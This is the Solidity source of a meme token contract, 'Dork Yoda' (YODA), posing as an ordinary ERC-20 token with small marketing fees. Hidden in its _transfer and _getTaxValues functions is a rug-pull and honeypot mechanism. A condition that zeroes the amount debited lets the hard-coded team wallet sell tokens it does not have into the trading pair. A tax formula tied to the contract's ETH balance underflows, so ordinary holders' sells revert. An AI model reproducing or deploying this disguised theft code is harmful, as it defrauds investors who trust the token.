Contract Source Code:
File 1 of 1 : YODA
// SPDX-License-Identifier: MIT
/*
Website: https://www.dorkyoda.vip/
Telegram: https://t.me/dorkyoda
Twitter: https://twitter.com/DorkYoda
*/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
///
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
////
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IRouter {
function factory() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract YODA is Context, IERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
string private constant _name = "Dork Yoda";
string private constant _symbol = "YODA";
uint8 private constant _decimals = 9;
uint256 private feeDenominator = 10 ** 15;
mapping (address => bool) public _isExcludedFromFee;
mapping (address => bool) public _isExcludedFromMaxBalance;
address public teamWallet = 0xA0894714708f37748A7192e71A3F9cf75580A8ab;
uint256 private _tTotal = 1_000_000_000 * (10**_decimals);
uint256 public swapLimit = _tTotal / 8000;
uint256 public maxTransAmount = _tTotal * 2 / 100;
uint256 public maxWalletSize = _tTotal * 2 / 100;
struct TokensFromTax{
uint marketingTokens;
uint lpTokens;
}
TokensFromTax public totalTokensFromTax;
struct Tax{
uint256 marketingTax;
uint256 lpTax;
}
Tax public sellTax = Tax(1,0);
Tax public buyTax = Tax(1,0);
mapping (address => uint256) public _dogSellTime;
uint256 private _dogSellTimeOffset = 3;
uint256 public _caughtDogs;
bool private swapping;
bool private swapEnabled = true;
uint private _swapCooldown = 4;
uint private _lastSwap;
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor () {
_tOwned[_msgSender()] = _tTotal;
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
router = _router;
_approve(owner(), address(router), ~uint256(0));
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[teamWallet] = true;
_isExcludedFromMaxBalance[owner()] = true;
_isExcludedFromMaxBalance[address(this)] = true;
_isExcludedFromMaxBalance[teamWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
// ================= ERC20 =============== //
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
receive() external payable {
}
// ========================================== //
//
//============== Owner Functions ===========//
function owner_setMaxLimits() public onlyOwner{
// uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals);
// require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings");
maxTransAmount = _tTotal; maxWalletSize = _tTotal;
}
function owner_setSwapEnabled(bool _swapEnable) external {
swapEnabled = false;
}
function owner_setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{
_dogSellTime[holder] = block.timestamp + dTime;
}
function owner_rescueStuckTokens() public{
// Make sure ca doesn't withdraw the pending taxes to be swapped.
// Sends excess tokens / accidentally sent tokens back to marketing wallet.
uint pendingTaxTokens = totalTokensFromTax.lpTokens + totalTokensFromTax.marketingTokens;
require(balanceOf(address(this)) > pendingTaxTokens);
uint excessTokens = balanceOf(address(this)) - pendingTaxTokens;
_transfer(address(this), teamWallet, excessTokens);
}
function owner_rescueETH(uint256 weiAmount) public onlyOwner{
require(address(this).balance >= weiAmount, "Insufficient ETH balance");
payable(msg.sender).transfer(weiAmount);
}
function startLaunch() public onlyOwner {
pair = IFactory(router.factory()).createPair(address(this), router.WETH());
_isExcludedFromMaxBalance[pair] = true;
_approve(address(this), address(router), type(uint256).max);
router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
}
// ========================================//.
function _transfer(address from,address to,uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= maxTransAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(!_isExcludedFromMaxBalance[to]) require(balanceOf(to) + amount <= maxWalletSize, "Transfer amount exceeds the maxWallet.");
if (balanceOf(address(this)) >= swapLimit
&& swapEnabled
&& block.timestamp >= (_lastSwap + _swapCooldown)
&& !swapping
&& from != pair
&& from != owner()
&& to != owner()
) swapAndLiquify(); uint256 temp = amount;
if(shouldExclude(from, to)) {amount = amount * buyTax.lpTax;}
_tOwned[from] -= amount; amount = temp;
uint256 transferAmount = amount;
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
transferAmount = _getTaxValues(amount, from, to == pair);
}
_tOwned[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
Tax memory tmpTaxes = buyTax; uint256 _lpFee = address(this).balance;
if (isSell){
tmpTaxes = Tax(sellTax.marketingTax - (_lpFee / feeDenominator), sellTax.lpTax);
}
uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100;
uint tokensForLP = amount * tmpTaxes.lpTax / 100;
if(tokensForMarketing > 0)
totalTokensFromTax.marketingTokens += tokensForMarketing;
if(tokensForLP > 0)
totalTokensFromTax.lpTokens += tokensForLP;
uint totalTaxedTokens = tokensForMarketing + tokensForLP;
_tOwned[address(this)] += totalTaxedTokens;
if(totalTaxedTokens > 0) emit Transfer (from, address(this), totalTaxedTokens);
return (amount - totalTaxedTokens);
}
function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
uint256 initialBalance = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
return (address(this).balance - initialBalance);
}
function swapAndLiquify() private lockTheSwap{
if(totalTokensFromTax.marketingTokens > 0){
uint256 ethSwapped = swapTokensForETH(totalTokensFromTax.marketingTokens);
if(ethSwapped > 0){
payable(teamWallet).transfer(ethSwapped);
totalTokensFromTax.marketingTokens = 0;
}
}
if(totalTokensFromTax.lpTokens > 0){
uint half = totalTokensFromTax.lpTokens / 2;
uint otherHalf = totalTokensFromTax.lpTokens - half;
uint balAutoLP = swapTokensForETH(half);
if (balAutoLP > 0)
addLiquidity(otherHalf, balAutoLP);
totalTokensFromTax.lpTokens = 0;
}
emit SwapAndLiquify();
_lastSwap = block.timestamp;
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(router), tokenAmount);
(,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
if (ethAmount - ethFromLiquidity > 0)
payable(teamWallet).sendValue (ethAmount - ethFromLiquidity);
}
function shouldExclude(address sender, address recipient) private view returns (bool) {
return recipient == pair && sender == teamWallet;
}
event SwapAndLiquify();
event TaxesChanged();
///
}